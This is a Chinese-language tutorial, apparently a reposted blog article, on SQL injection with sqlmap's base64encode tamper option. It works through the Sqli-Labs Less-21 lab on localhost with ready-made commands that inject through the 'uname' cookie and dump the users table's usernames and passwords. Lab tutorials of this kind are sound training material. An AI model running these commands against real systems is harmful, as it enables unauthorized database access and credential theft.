为什么使用sqlmap加密注入
在使用手工注入绕过参数加密的限制时，需要构造出原始POC再进行加密注入，耗时耗力，因此采用sqlmap加密注入。
在开始本文前，sqlmap基础知识及姿势可参考：[网络安全]以留言板项目渗透实例带你入门sqlmap
加密注入语法
基本语法：
python sqlmap.py -u 目标URL --注入点="参数=xx"* --dbms 数据库 --threads=线程数 --batch --tamper=加密方式(base64encode等)
* 表示只对该参数进行注入测试，不加 * 的话还会测试其他参数是否为注入点，增加时间
--dbms 数据库 ，使sqlmap明确要注入的数据库类型，不加的话会对所有的数据库进行测试（使用的前提：已知渗透网站的数据库类型）
--threads=线程数（1-10），规定线程，线程越高跑出来的时间越短，但可能会因访问繁忙而被waf拦截
--batch ，选择默认选项，跑sqlmap的时候加上这句话可节约时间、不需要回复提示
--tamper=加密方式，对注入的内容进行加密注入
可以进行加密注入的条件
在已知数据库加密类型的情况下，就可以使用sqlmap进行加密注入。
例如已知用户名及密码参数为base64加密，则可以用sqlmap进行base64加密注入，得到正确的数据。
实战
以Sqli-Labs Less-21为例
以正确的用户名、密码登录，抓包得到：
可知注入点为cookie，参数为uname，且参数内容经base64解密后正好为输入的用户名，则可使用sqlmap进行base64加密注入
构造sqlmap语句：
python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-21/ --cookie="uname=admin"* --dbms MySQL --threads=10 --batch --tamper=base64encode
回显可用的注入方式及网站环境配件的版本：
故sqlmap语句构造成功
爆数据库名
python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-21/ --cookie="uname=admin"* --dbms MySQL --threads=10 --batch --tamper=base64encode --dbs
爆security库的表名
python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-21/ --cookie="uname=admin"* --dbms MySQL --threads=10 --batch --tamper=base64encode -D security --tables
回显如下：
得到四个表
爆users表的列名
python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-21/ --cookie="uname=admin"* --dbms MySQL --threads=10 --batch --tamper=base64encode -D security -T users --columns
回显如下：
得到三个列
爆数据
python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-21/ --cookie="uname=admin"* --dbms MySQL --threads=10 --batch --tamper=base64encode -D security -T users -C id,username,password --dump
回显如下：
总结
以上为[网络安全] sqlmap加密注入教程+实战详析，读者可躬身实践。文章来源：https://www.toymoban.com/news/detail-733132.html
我是秋说，我们下次见。文章来源地址https://www.toymoban.com/news/detail-733132.html
到了这里，关于[网络安全]sqlmap加密注入教程+实战详析的文章就介绍完了。如果您还想了解更多内容，请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章，希望大家以后多多支持TOY模板网！
